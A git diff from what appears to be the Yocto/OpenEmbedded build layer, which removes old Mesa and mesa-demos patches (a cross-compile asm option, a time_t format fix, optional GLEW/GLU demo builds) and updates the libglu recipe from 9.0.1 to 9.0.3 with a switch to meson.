diff --git a/meta/recipes-graphics/mesa/files/0004-Revert-mesa-Enable-asm-unconditionally-now-that-gen_.patch b/meta/recipes-graphics/mesa/files/0004-Revert-mesa-Enable-asm-unconditionally-now-that-gen_.patch
deleted file mode 100644
index 8d614e571a..0000000000
--- a/meta/recipes-graphics/mesa/files/0004-Revert-mesa-Enable-asm-unconditionally-now-that-gen_.patch
+++ /dev/null
@@ -1,147 +0,0 @@
-From 41cd8836d785c79381764e7de59319f87959a5cf Mon Sep 17 00:00:00 2001
-From: Alistair Francis <alistair@alistair23.me>
-Date: Thu, 14 Nov 2019 09:06:02 -0800
-Subject: [PATCH] Revert "mesa: Enable asm unconditionally, now that
- gen_matypes is gone."
-
-This reverts commit 20294dceebc23236e33b22578245f7e6f41b6997.
-
-Upstream-Status: Inappropriate [configuration]
-Signed-off-by: Alistair Francis <alistair@alistair23.me>
-
----
- meson.build | 94 ++++++++++++++++++++++++++++++-----------------
- meson_options.txt | 6 +++
- 2 files changed, 67 insertions(+), 33 deletions(-)
-
-diff --git a/meson.build b/meson.build
-index 62864c6..b53be8d 100644
---- a/meson.build
-+++ b/meson.build
-@@ -49,6 +49,7 @@ with_vulkan_icd_dir = get_option('vulkan-icd-dir')
- with_tests = get_option('build-tests')
- with_valgrind = get_option('valgrind')
- with_libunwind = get_option('libunwind')
-+with_asm = get_option('asm')
- with_glx_read_only_text = get_option('glx-read-only-text')
- with_glx_direct = get_option('glx-direct')
- with_osmesa = get_option('osmesa')
-@@ -1093,41 +1094,68 @@ dep_ws2_32 = cc.find_library('ws2_32', required : with_platform_windows)
-
- # TODO: shared/static? Is this even worth doing?
-
-+# When cross compiling we generally need to turn off the use of assembly,
-+# because mesa's assembly relies on building an executable for the host system,
-+# and running it to get information about struct sizes. There is at least one
-+# case of cross compiling where we can use asm, and that's x86_64 -> x86 when
-+# host OS == build OS, since in that case the build machine can run the host's
-+# binaries.
-+if with_asm and meson.is_cross_build()
-+ if build_machine.system() != host_machine.system()
-+ # TODO: It may be possible to do this with an exe_wrapper (like wine).
-+ message('Cross compiling from one OS to another, disabling assembly.')
-+ with_asm = false
-+ elif not (build_machine.cpu_family().startswith('x86') and host_machine.cpu_family() == 'x86')
-+ # FIXME: Gentoo always sets -m32 for x86_64 -> x86 builds, resulting in an
-+ # x86 -> x86 cross compile. We use startswith rather than == to handle this
-+ # case.
-+ # TODO: There may be other cases where the 64 bit version of the
-+ # architecture can run 32 bit binaries (aarch64 and armv7 for example)
-+ message('''
-+ Cross compiling to different architectures, and the host cannot run
-+ the build machine's binaries. Disabling assembly.
-+ ''')
-+ with_asm = false
-+ endif
-+endif
-+
- with_asm_arch = ''
--if host_machine.cpu_family() == 'x86'
-- if system_has_kms_drm or host_machine.system() == 'gnu'
-- with_asm_arch = 'x86'
-- pre_args += ['-DUSE_X86_ASM', '-DUSE_MMX_ASM', '-DUSE_3DNOW_ASM',
-- '-DUSE_SSE_ASM']
--
-- if with_glx_read_only_text
-- pre_args += ['-DGLX_X86_READONLY_TEXT']
-+if with_asm
-+ if host_machine.cpu_family() == 'x86'
-+ if system_has_kms_drm or host_machine.system() == 'gnu'
-+ with_asm_arch = 'x86'
-+ pre_args += ['-DUSE_X86_ASM', '-DUSE_MMX_ASM', '-DUSE_3DNOW_ASM',
-+ '-DUSE_SSE_ASM']
-+
-+ if with_glx_read_only_text
-+ pre_args += ['-DGLX_X86_READONLY_TEXT']
-+ endif
-+ endif
-+ elif host_machine.cpu_family() == 'x86_64'
-+ if system_has_kms_drm
-+ with_asm_arch = 'x86_64'
-+ pre_args += ['-DUSE_X86_64_ASM']
-+ endif
-+ elif host_machine.cpu_family() == 'arm'
-+ if system_has_kms_drm
-+ with_asm_arch = 'arm'
-+ pre_args += ['-DUSE_ARM_ASM']
-+ endif
-+ elif host_machine.cpu_family() == 'aarch64'
-+ if system_has_kms_drm
-+ with_asm_arch = 'aarch64'
-+ pre_args += ['-DUSE_AARCH64_ASM']
-+ endif
-+ elif host_machine.cpu_family() == 'sparc64'
-+ if system_has_kms_drm
-+ with_asm_arch = 'sparc'
-+ pre_args += ['-DUSE_SPARC_ASM']
-+ endif
-+ elif host_machine.cpu_family().startswith('ppc64') and host_machine.endian() == 'little'
-+ if system_has_kms_drm
-+ with_asm_arch = 'ppc64le'
-+ pre_args += ['-DUSE_PPC64LE_ASM']
- endif
-- endif
--elif host_machine.cpu_family() == 'x86_64'
-- if system_has_kms_drm
-- with_asm_arch = 'x86_64'
-- pre_args += ['-DUSE_X86_64_ASM']
-- endif
--elif host_machine.cpu_family() == 'arm'
-- if system_has_kms_drm
-- with_asm_arch = 'arm'
-- pre_args += ['-DUSE_ARM_ASM']
-- endif
--elif host_machine.cpu_family() == 'aarch64'
-- if system_has_kms_drm
-- with_asm_arch = 'aarch64'
-- pre_args += ['-DUSE_AARCH64_ASM']
-- endif
--elif host_machine.cpu_family() == 'sparc64'
-- if system_has_kms_drm
-- with_asm_arch = 'sparc'
-- pre_args += ['-DUSE_SPARC_ASM']
-- endif
--elif host_machine.cpu_family().startswith('ppc64') and host_machine.endian() == 'little'
-- if system_has_kms_drm
-- with_asm_arch = 'ppc64le'
-- pre_args += ['-DUSE_PPC64LE_ASM']
- endif
- endif
-
-diff --git a/meson_options.txt b/meson_options.txt
-index 700c34c..62e8472 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -241,6 +241,12 @@ option(
- value : false,
- description : 'Enable GLVND support.'
- )
-+option(
-+ 'asm',
-+ type : 'boolean',
-+ value : true,
-+ description : 'Build assembly code if possible'
-+)
- option(
- 'glx-read-only-text',
- type : 'boolean',
diff --git a/meta/recipes-graphics/mesa/files/0005-vc4-use-intmax_t-for-formatted-output-of-timespec-me.patch b/meta/recipes-graphics/mesa/files/0005-vc4-use-intmax_t-for-formatted-output-of-timespec-me.patch
deleted file mode 100644
index dacb1ea1c8..0000000000
--- a/meta/recipes-graphics/mesa/files/0005-vc4-use-intmax_t-for-formatted-output-of-timespec-me.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 281a636353666bfdd373c62591e744087e750e89 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 4 Dec 2019 14:15:28 -0800
-Subject: [PATCH] vc4: use intmax_t for formatted output of timespec members
-
-32bit architectures which have 64bit time_t does not fit the assumption
-of time_t being same as system long int
-
-Fixes
-error: format specifies type 'long' but the argument has type 'time_t' (aka 'long long') [-Werror,-Wformat]
- time.tv_sec);
- ^~~~~~~~~~~
-
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/mesa/merge_requests/2966]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- src/gallium/drivers/v3d/v3d_bufmgr.c | 4 ++--
- src/gallium/drivers/vc4/vc4_bufmgr.c | 4 ++--
- 2 files changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/src/gallium/drivers/v3d/v3d_bufmgr.c b/src/gallium/drivers/v3d/v3d_bufmgr.c
-index 31a0803..cc2e2af 100644
---- a/src/gallium/drivers/v3d/v3d_bufmgr.c
-+++ b/src/gallium/drivers/v3d/v3d_bufmgr.c
-@@ -80,8 +80,8 @@ v3d_bo_dump_stats(struct v3d_screen *screen)
-
- struct timespec time;
- clock_gettime(CLOCK_MONOTONIC, &time);
-- fprintf(stderr, " now: %ld\n",
-- (long)time.tv_sec);
-+ fprintf(stderr, " now: %jd\n",
-+ (intmax_t)time.tv_sec);
- }
- }
-
-diff --git a/src/gallium/drivers/vc4/vc4_bufmgr.c b/src/gallium/drivers/vc4/vc4_bufmgr.c
-index a786e8e..975d49e 100644
---- a/src/gallium/drivers/vc4/vc4_bufmgr.c
-+++ b/src/gallium/drivers/vc4/vc4_bufmgr.c
-@@ -99,8 +99,8 @@ vc4_bo_dump_stats(struct vc4_screen *screen)
-
- struct timespec time;
- clock_gettime(CLOCK_MONOTONIC, &time);
-- fprintf(stderr, " now: %ld\n",
-- (long)time.tv_sec);
-+ fprintf(stderr, " now: %jd\n",
-+ (intmax_t)time.tv_sec);
- }
- }
-
diff --git a/meta/recipes-graphics/mesa/libglu_9.0.1.bb b/meta/recipes-graphics/mesa/libglu_9.0.1.bb
deleted file mode 100644
index 703f131f79..0000000000
--- a/meta/recipes-graphics/mesa/libglu_9.0.1.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "The OpenGL utility toolkit"
-DESCRIPTION = "GLU is a utility toolkit used with OpenGL implementations"
-
-HOMEPAGE = "http://mesa3d.org"
-BUGTRACKER = "https://bugs.freedesktop.org"
-SECTION = "x11"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://include/GL/glu.h;endline=29;md5=6b79c570f644363b356456e7d44471d9 \
- file://src/libtess/tess.c;endline=29;md5=6b79c570f644363b356456e7d44471d9"
-
-# Epoch as this used to be part of mesa
-PE = "2"
-PR = "0"
-
-SRC_URI = "https://mesa.freedesktop.org/archive/glu/glu-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "5599a0e0a97335e10239d9165aced60d"
-SRC_URI[sha256sum] = "f6f484cfcd51e489afe88031afdea1e173aa652697e4c19ddbcb8260579a10f7"
-
-S = "${WORKDIR}/glu-${PV}"
-
-DEPENDS = "virtual/libgl"
-
-inherit autotools pkgconfig features_check
-
-# Requires libGL.so which is provided by mesa when x11 in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES = "x11 opengl"
-
-# Remove the mesa-glu dependency in mesa-glu-dev, as mesa-glu is empty
-RDEPENDS_${PN}-dev = ""
diff --git a/meta/recipes-graphics/mesa/libglu_9.0.3.bb b/meta/recipes-graphics/mesa/libglu_9.0.3.bb
new file mode 100644
index 0000000000..8151727c52
--- /dev/null
+++ b/meta/recipes-graphics/mesa/libglu_9.0.3.bb
@@ -0,0 +1,31 @@
+SUMMARY = "The OpenGL utility toolkit"
+DESCRIPTION = "GLU is a utility toolkit used with OpenGL implementations"
+
+HOMEPAGE = "http://mesa3d.org"
+BUGTRACKER = "https://bugs.freedesktop.org"
+SECTION = "x11"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://include/GL/glu.h;endline=29;md5=6b79c570f644363b356456e7d44471d9 \
+ file://src/libtess/tess.c;endline=29;md5=6b79c570f644363b356456e7d44471d9"
+
+# Epoch as this used to be part of mesa
+PE = "2"
+
+SRC_URI = "https://mesa.freedesktop.org/archive/glu/glu-${PV}.tar.xz \
+ "
+
+SRC_URI[sha256sum] = "bd43fe12f374b1192eb15fe20e45ff456b9bc26ab57f0eee919f96ca0f8a330f"
+
+S = "${WORKDIR}/glu-${PV}"
+
+DEPENDS = "virtual/libgl"
+
+inherit meson pkgconfig features_check
+
+EXTRA_OEMESON = "-Dgl_provider=gl"
+
+# Requires libGL.so which is provided by mesa when x11 in DISTRO_FEATURES
+REQUIRED_DISTRO_FEATURES = "x11 opengl"
+
+# Remove the mesa-glu dependency in mesa-glu-dev, as mesa-glu is empty
+DEV_PKG_DEPENDENCY = ""
diff --git a/meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch b/meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch
deleted file mode 100644
index f6b59a11fe..0000000000
--- a/meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch
+++ /dev/null
@@ -1,377 +0,0 @@
-From 779438770bedf3d53e6ad8f7cd6889b7f50daf3b Mon Sep 17 00:00:00 2001
-From: Martin Jansa <Martin.Jansa@gmail.com>
-Date: Wed, 9 Jul 2014 14:23:41 +0200
-Subject: [PATCH] configure: Allow to disable demos which require GLEW or GLU
-
-* in some systems without X11 support we don't have GLEW, but
- mesa-demos are still useful
-
-Upstream-Status: Pending
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
-Port to 8.3.0
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 49 ++++++++++++++++++++---------
- src/Makefile.am | 18 ++++++++---
- src/demos/Makefile.am | 73 ++++++++++++++++++++++++-------------------
- src/egl/Makefile.am | 8 +++--
- src/egl/opengles1/Makefile.am | 10 ++++--
- src/egl/opengles2/Makefile.am | 29 ++++++++---------
- 6 files changed, 117 insertions(+), 70 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 0525b09..28834cd 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -93,25 +93,44 @@ AC_EGREP_HEADER([glutInitContextProfile],
- [AC_DEFINE(HAVE_FREEGLUT)],
- [])
-
--dnl Check for GLEW
--PKG_CHECK_MODULES(GLEW, [glew >= 1.5.4])
--DEMO_CFLAGS="$DEMO_CFLAGS $GLEW_CFLAGS"
--DEMO_LIBS="$DEMO_LIBS $GLEW_LIBS"
-+AC_ARG_ENABLE([glew],
-+ [AS_HELP_STRING([--enable-glew],
-+ [build demos which require glew @<:@default=yes@:>@])],
-+ [enable_glew="$enableval"],
-+ [enable_glew=yes]
-+)
-+
-+if test "x$enable_glew" = xyes; then
-+ dnl Check for GLEW
-+ PKG_CHECK_MODULES(GLEW, [glew >= 1.5.4], [glew_enabled=yes], [glew_enabled=no])
-+ DEMO_CFLAGS="$DEMO_CFLAGS $GLEW_CFLAGS"
-+ DEMO_LIBS="$DEMO_LIBS $GLEW_LIBS"
-+fi
-
- # LIBS was set by AC_CHECK_LIB above
- LIBS=""
-
--PKG_CHECK_MODULES(GLU, [glu], [],
-- [AC_CHECK_HEADER([GL/glu.h],
-- [],
-- AC_MSG_ERROR([GLU not found]))
-- AC_CHECK_LIB([GLU],
-- [gluBeginCurve],
-- [GLU_LIBS=-lGLU],
-- AC_MSG_ERROR([GLU required])) ])
-+AC_ARG_ENABLE([glu],
-+ [AS_HELP_STRING([--enable-glu],
-+ [build demos which require glu @<:@default=yes@:>@])],
-+ [enable_glu="$enableval"],
-+ [enable_glu=yes]
-+)
-
--DEMO_CFLAGS="$DEMO_CFLAGS $GLU_CFLAGS"
--DEMO_LIBS="$DEMO_LIBS $GLU_LIBS"
-+if test "x$enable_glu" = xyes; then
-+ PKG_CHECK_MODULES(GLU, [glu], [glu_enabled=yes],
-+ [AC_CHECK_HEADER([GL/glu.h],
-+ [],
-+ AC_MSG_ERROR([GLU not found]))
-+ AC_CHECK_LIB([GLU],
-+ [gluBeginCurve],
-+ [GLU_LIBS=-lGLU
-+ glu_enabled=yes],
-+ AC_MSG_ERROR([GLU required])) ])
-+
-+ DEMO_CFLAGS="$DEMO_CFLAGS $GLU_CFLAGS"
-+ DEMO_LIBS="$DEMO_LIBS $GLU_LIBS"
-+fi
-
- AC_ARG_ENABLE([egl],
- [AS_HELP_STRING([--enable-egl],
-@@ -304,6 +323,8 @@ AC_SUBST([WAYLAND_CFLAGS])
- AC_SUBST([WAYLAND_LIBS])
-
-
-+AM_CONDITIONAL(HAVE_GLU, test "x$glu_enabled" = "xyes")
-+AM_CONDITIONAL(HAVE_GLEW, test "x$glew_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_EGL, test "x$egl_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_GLESV1, test "x$glesv1_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_GLESV2, test "x$glesv2_enabled" = "xyes")
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 1647d64..8b89dee 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -22,15 +22,19 @@
- # Authors:
- # Eric Anholt <eric@anholt.net>
-
-+if HAVE_GLEW
-+UTIL = util
-+endif
-+
- SUBDIRS = \
-- util \
-+ $(UTIL) \
- data \
- demos \
- egl \
- fp \
- fpglsl \
- glsl \
-- gs \
-+ gs \
- objviewer \
- osdemos \
- perf \
-@@ -40,8 +44,12 @@ SUBDIRS = \
- slang \
- tests \
- tools \
-- trivial \
-- vp \
-- vpglsl \
- wgl \
- xdemos
-+
-+if HAVE_GLEW
-+SUBDIRS += \
-+ vp \
-+ vpglsl \
-+ trivial
-+endif
-diff --git a/src/demos/Makefile.am b/src/demos/Makefile.am
-index 41603fa..ab1e3ab 100644
---- a/src/demos/Makefile.am
-+++ b/src/demos/Makefile.am
-@@ -30,91 +30,100 @@ AM_LDFLAGS = \
- $(DEMO_LIBS) \
- $(GLUT_LIBS)
-
-+bin_PROGRAMS =
-+
- if HAVE_GLUT
--bin_PROGRAMS = \
-+if HAVE_GLEW
-+bin_PROGRAMS += \
- arbfplight \
- arbfslight \
- arbocclude \
- arbocclude2 \
-- bounce \
-- clearspd \
- copypix \
- cubemap \
- cuberender \
- dinoshade \
-- dissolve \
-- drawpix \
- engine \
- fbo_firecube \
- fbotexture \
-- fire \
- fogcoord \
- fplight \
- fslight \
-+ gloss \
-+ isosurf \
-+ multiarb \
-+ paltex \
-+ pointblast \
-+ projtex \
-+ shadowtex \
-+ spriteblast \
-+ stex3d \
-+ textures \
-+ vao_demo \
-+ winpos
-+
-+copypix_LDADD = ../util/libutil.la
-+cubemap_LDADD = ../util/libutil.la
-+cuberender_LDADD = ../util/libutil.la
-+engine_LDADD = ../util/libutil.la
-+fbo_firecube_LDADD = ../util/libutil.la
-+gloss_LDADD = ../util/libutil.la
-+isosurf_LDADD = ../util/libutil.la
-+multiarb_LDADD = ../util/libutil.la
-+projtex_LDADD = ../util/libutil.la
-+textures_LDADD = ../util/libutil.la
-+winpos_LDADD = ../util/libutil.la
-+endif
-+
-+if HAVE_GLU
-+bin_PROGRAMS += \
-+ bounce \
-+ clearspd \
-+ dissolve \
-+ drawpix \
-+ fire \
- gamma \
- gearbox \
- gears \
- geartrain \
- glinfo \
-- gloss \
- gltestperf \
- ipers \
-- isosurf \
- lodbias \
- morph3d \
-- multiarb \
-- paltex \
- pixeltest \
-- pointblast \
-- projtex \
- ray \
- readpix \
- reflect \
- renormal \
-- shadowtex \
- singlebuffer \
- spectex \
-- spriteblast \
-- stex3d \
- teapot \
- terrain \
- tessdemo \
- texcyl \
- texenv \
-- textures \
- trispd \
- tunnel2 \
-- tunnel \
-- vao_demo \
-- winpos
--endif
-+ tunnel
-
- tunnel_SOURCES = \
- tunnel.c \
- tunneldat.h
-
--copypix_LDADD = ../util/libutil.la
--cubemap_LDADD = ../util/libutil.la
--cuberender_LDADD = ../util/libutil.la
--drawpix_LDADD = ../util/libutil.la
- dissolve_LDADD = ../util/libutil.la
--engine_LDADD = ../util/libutil.la
--fbo_firecube_LDADD = ../util/libutil.la
-+drawpix_LDADD = ../util/libutil.la
- fire_LDADD = ../util/libutil.la
--gloss_LDADD = ../util/libutil.la
- ipers_LDADD = ../util/libutil.la
--isosurf_LDADD = ../util/libutil.la
- lodbias_LDADD = ../util/libutil.la
--multiarb_LDADD = ../util/libutil.la
--projtex_LDADD = ../util/libutil.la
- readpix_LDADD = ../util/libutil.la
- reflect_LDADD = ../util/libutil.la
- teapot_LDADD = ../util/libutil.la
- texcyl_LDADD = ../util/libutil.la
--textures_LDADD = ../util/libutil.la
- tunnel_LDADD = ../util/libutil.la
- tunnel2_LDADD = ../util/libutil.la
--winpos_LDADD = ../util/libutil.la
-+endif
-+endif
-
- EXTRA_DIST = \
- README
-diff --git a/src/egl/Makefile.am b/src/egl/Makefile.am
-index d64a49e..4fe1ca8 100644
---- a/src/egl/Makefile.am
-+++ b/src/egl/Makefile.am
-@@ -24,8 +24,12 @@
-
- SUBDIRS = \
- eglut \
-- opengl \
-- openvg \
- opengles1 \
- opengles2 \
- oes_vg
-+
-+if HAVE_GLU
-+SUBDIRS += \
-+ opengl \
-+ openvg
-+endif
-diff --git a/src/egl/opengles1/Makefile.am b/src/egl/opengles1/Makefile.am
-index fa397c2..21853e8 100644
---- a/src/egl/opengles1/Makefile.am
-+++ b/src/egl/opengles1/Makefile.am
-@@ -36,9 +36,12 @@ AM_LDFLAGS = \
- $(EGL_LIBS) \
- -lm
-
-+noinst_PROGRAMS =
-+
- if HAVE_EGL
- if HAVE_GLESV1
--noinst_PROGRAMS = \
-+if HAVE_X11
-+bin_PROGRAMS = \
- bindtex \
- clear \
- drawtex_x11 \
-@@ -52,8 +55,6 @@ noinst_PROGRAMS = \
- torus_x11 \
- tri_x11 \
- two_win
--endif
--endif
-
- bindtex_LDADD = $(X11_LIBS)
- es1_info_LDADD = $(X11_LIBS)
-@@ -76,3 +77,6 @@ drawtex_x11_LDADD = ../eglut/libeglut_x11.la
- gears_x11_LDADD = ../eglut/libeglut_x11.la
- torus_x11_LDADD = ../eglut/libeglut_x11.la
- tri_x11_LDADD = ../eglut/libeglut_x11.la
-+endif
-+endif
-+endif
-diff --git a/src/egl/opengles2/Makefile.am b/src/egl/opengles2/Makefile.am
-index b80ba50..17f8d49 100644
---- a/src/egl/opengles2/Makefile.am
-+++ b/src/egl/opengles2/Makefile.am
-@@ -33,27 +33,28 @@ AM_LDFLAGS = \
- $(EGL_LIBS) \
- -lm
-
-+bin_PROGRAMS =
-+
- if HAVE_EGL
- if HAVE_GLESV2
--bin_PROGRAMS =
--if HAVE_X11
--bin_PROGRAMS += \
-- es2_info \
-- es2gears_x11 \
-- es2tri
--endif
- if HAVE_WAYLAND
- bin_PROGRAMS += es2gears_wayland
--endif
--endif
-+
-+es2gears_wayland_SOURCES = es2gears.c
-+es2gears_wayland_LDADD = ../eglut/libeglut_wayland.la
- endif
-
--es2_info_LDADD = $(X11_LIBS)
--es2tri_LDADD = $(X11_LIBS)
-+if HAVE_X11
-+bin_PROGRAMS += \
-+ es2tri \
-+ es2_info \
-+ es2gears_x11
-
-+es2_info_LDADD = $(X11_LIBS)
- es2gears_x11_SOURCES = es2gears.c
--
- es2gears_x11_LDADD = ../eglut/libeglut_x11.la
-+es2tri_LDADD = $(X11_LIBS)
-+endif
-+endif
-+endif
-
--es2gears_wayland_SOURCES = es2gears.c
--es2gears_wayland_LDADD = ../eglut/libeglut_wayland.la
---
-2.1.4
-
diff --git a/meta/recipes-graphics/mesa/mesa-demos/0007-Install-few-more-test-programs.patch b/meta/recipes-graphics/mesa/mesa-demos/0007-Install-few-more-test-programs.patch
deleted file mode 100644
index b27d9eafa5..0000000000
--- a/meta/recipes-graphics/mesa/mesa-demos/0007-Install-few-more-test-programs.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 2e0367a941445a862ab99c54ec85d1357d0f73c0 Mon Sep 17 00:00:00 2001
-From: Martin Jansa <Martin.Jansa@gmail.com>
-Date: Thu, 10 Jul 2014 14:30:52 +0200
-Subject: [PATCH] Install few more test programs
-
-Upstream-Status: Pending
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-
----
- src/egl/opengl/Makefile.am | 3 +--
- src/egl/openvg/Makefile.am | 2 +-
- 2 files changed, 2 insertions(+), 3 deletions(-)
-
-diff --git a/src/egl/opengl/Makefile.am b/src/egl/opengl/Makefile.am
-index 6d184ff6..ab09d028 100644
---- a/src/egl/opengl/Makefile.am
-+++ b/src/egl/opengl/Makefile.am
-@@ -57,8 +57,7 @@ endif
-
- if HAVE_EGL
- bin_PROGRAMS = \
-- eglinfo
--noinst_PROGRAMS = \
-+ eglinfo \
- peglgears \
- $(EGL_DRM_DEMOS) \
- $(EGL_X11_DEMOS) \
-diff --git a/src/egl/openvg/Makefile.am b/src/egl/openvg/Makefile.am
-index b0f1212f..5fd1cf83 100644
---- a/src/egl/openvg/Makefile.am
-+++ b/src/egl/openvg/Makefile.am
-@@ -49,7 +49,7 @@ endif
-
- if HAVE_EGL
- if HAVE_VG
--noinst_PROGRAMS = \
-+bin_PROGRAMS = \
- $(EGL_X11_DEMOS)
- endif
- endif
diff --git a/meta/recipes-graphics/mesa/mesa-demos/0008-glsl-perf-Add-few-missing-.glsl-.vert-.frag-files-to.patch b/meta/recipes-graphics/mesa/mesa-demos/0008-glsl-perf-Add-few-missing-.glsl-.vert-.frag-files-to.patch
deleted file mode 100644
index a6d168175f..0000000000
--- a/meta/recipes-graphics/mesa/mesa-demos/0008-glsl-perf-Add-few-missing-.glsl-.vert-.frag-files-to.patch
+++ /dev/null
@@ -1,99 +0,0 @@
-From 894add34c2b5e6b4ccc78996bf681d7ec7bc9e36 Mon Sep 17 00:00:00 2001
-From: Martin Jansa <Martin.Jansa@gmail.com>
-Date: Thu, 10 Jul 2014 14:29:27 +0200
-Subject: [PATCH] glsl, perf: Add few missing .glsl, .vert, .frag files to
- EXTRA_DATA
-
-Upstream-Status: Pending
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
----
- src/fpglsl/Makefile.am | 2 ++
- src/glsl/Makefile.am | 10 ++++++++--
- src/perf/Makefile.am | 6 ++++++
- src/vpglsl/Makefile.am | 1 +
- 4 files changed, 17 insertions(+), 2 deletions(-)
-
-diff --git a/src/fpglsl/Makefile.am b/src/fpglsl/Makefile.am
-index 47c1039f..fd43c919 100644
---- a/src/fpglsl/Makefile.am
-+++ b/src/fpglsl/Makefile.am
-@@ -39,10 +39,12 @@ noinst_PROGRAMS = \
- endif
-
- EXTRA_DIST = \
-+ depth-read.glsl \
- dowhile2.glsl \
- dowhile.glsl \
- forbreak.glsl \
- for.glsl \
-+ infinite-loop.glsl \
- mov.glsl \
- mov-imm.glsl \
- simpleif.glsl \
-diff --git a/src/glsl/Makefile.am b/src/glsl/Makefile.am
-index 4faa8dbf..079a29d8 100644
---- a/src/glsl/Makefile.am
-+++ b/src/glsl/Makefile.am
-@@ -37,7 +37,7 @@ AM_LDFLAGS = \
- if HAVE_GLUT
- bin_PROGRAMS = \
- array \
-- bezier \
-+ bezier \
- bitmap \
- brick \
- bump \
-@@ -123,12 +123,16 @@ EXTRA_DIST = \
- CH06-brick.vert \
- CH11-bumpmap.frag \
- CH11-bumpmap.vert \
-+ CH11-bumpmaptex.frag \
- CH11-toyball.frag \
- CH11-toyball.vert \
- CH18-mandel.frag \
- CH18-mandel.vert \
-- bezier.geom \
-+ bezier.geom \
- brick.shtest \
-+ blinking-teapot.frag \
-+ blinking-teapot.vert \
-+ convolution.frag \
- convolution.vert \
- cubemap.frag \
- mandelbrot.shtest \
-@@ -138,5 +142,7 @@ EXTRA_DIST = \
- reflect.vert \
- shadowtex.frag \
- simple.vert \
-+ simplex-noise.glsl \
- skinning.frag \
-+ skinning.vert \
- toyball.shtest
-diff --git a/src/perf/Makefile.am b/src/perf/Makefile.am
-index f0031fea..60069396 100644
---- a/src/perf/Makefile.am
-+++ b/src/perf/Makefile.am
-@@ -59,3 +59,9 @@ endif
-
- glslstateschange_LDADD = libperf.la ../util/libutil.la
- glsl_compile_time_LDADD = ../util/libutil.la
-+
-+EXTRA_DIST = \
-+ glslstateschange1.frag \
-+ glslstateschange1.vert \
-+ glslstateschange2.frag \
-+ glslstateschange2.vert
-diff --git a/src/vpglsl/Makefile.am b/src/vpglsl/Makefile.am
-index 4a85ed40..48b08f48 100644
---- a/src/vpglsl/Makefile.am
-+++ b/src/vpglsl/Makefile.am
-@@ -44,6 +44,7 @@ EXTRA_DIST = \
- func2.glsl \
- ifelse.glsl \
- if.glsl \
-+ infinite-loop.glsl \
- mov.glsl \
- nestedifs.glsl \
- nestedswizzle.glsl \
diff --git a/meta/recipes-graphics/mesa/mesa-demos/0009-glsl-perf-Install-.glsl-.vert-.frag-files.patch b/meta/recipes-graphics/mesa/mesa-demos/0009-glsl-perf-Install-.glsl-.vert-.frag-files.patch
deleted file mode 100644
index 8a98ba60d1..0000000000
--- a/meta/recipes-graphics/mesa/mesa-demos/0009-glsl-perf-Install-.glsl-.vert-.frag-files.patch
+++ /dev/null
@@ -1,71 +0,0 @@
-From 477ab6d90a17d8e4d3935be6ce8b8e154db0e3e5 Mon Sep 17 00:00:00 2001
-From: Martin Jansa <Martin.Jansa@gmail.com>
-Date: Thu, 10 Jul 2014 14:48:12 +0200
-Subject: [PATCH] glsl, perf: Install .glsl, .vert, .frag files
-
-Upstream-Status: Pending
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
----
- src/fpglsl/Makefile.am | 3 ++-
- src/glsl/Makefile.am | 3 ++-
- src/perf/Makefile.am | 3 ++-
- src/vpglsl/Makefile.am | 3 ++-
- 4 files changed, 8 insertions(+), 4 deletions(-)
-
-diff --git a/src/fpglsl/Makefile.am b/src/fpglsl/Makefile.am
-index fd43c919..2bf51de4 100644
---- a/src/fpglsl/Makefile.am
-+++ b/src/fpglsl/Makefile.am
-@@ -38,7 +38,8 @@ noinst_PROGRAMS = \
- fp-tri
- endif
-
--EXTRA_DIST = \
-+demosdatadir=$(datadir)/$(PACKAGE)/
-+dist_demosdata_DATA= \
- depth-read.glsl \
- dowhile2.glsl \
- dowhile.glsl \
-diff --git a/src/glsl/Makefile.am b/src/glsl/Makefile.am
-index 079a29d8..f66ec299 100644
---- a/src/glsl/Makefile.am
-+++ b/src/glsl/Makefile.am
-@@ -118,7 +118,8 @@ vert_or_frag_only_LDADD = ../util/libutil.la
- vert_tex_LDADD = ../util/libutil.la
- vsraytrace_LDADD = ../util/libutil.la
-
--EXTRA_DIST = \
-+demosdatadir=$(datadir)/$(PACKAGE)/
-+dist_demosdata_DATA= \
- CH06-brick.frag \
- CH06-brick.vert \
- CH11-bumpmap.frag \
-diff --git a/src/perf/Makefile.am b/src/perf/Makefile.am
-index 60069396..469bdf45 100644
---- a/src/perf/Makefile.am
-+++ b/src/perf/Makefile.am
-@@ -60,7 +60,8 @@ endif
- glslstateschange_LDADD = libperf.la ../util/libutil.la
- glsl_compile_time_LDADD = ../util/libutil.la
-
--EXTRA_DIST = \
-+demosdatadir=$(datadir)/$(PACKAGE)/
-+dist_demosdata_DATA= \
- glslstateschange1.frag \
- glslstateschange1.vert \
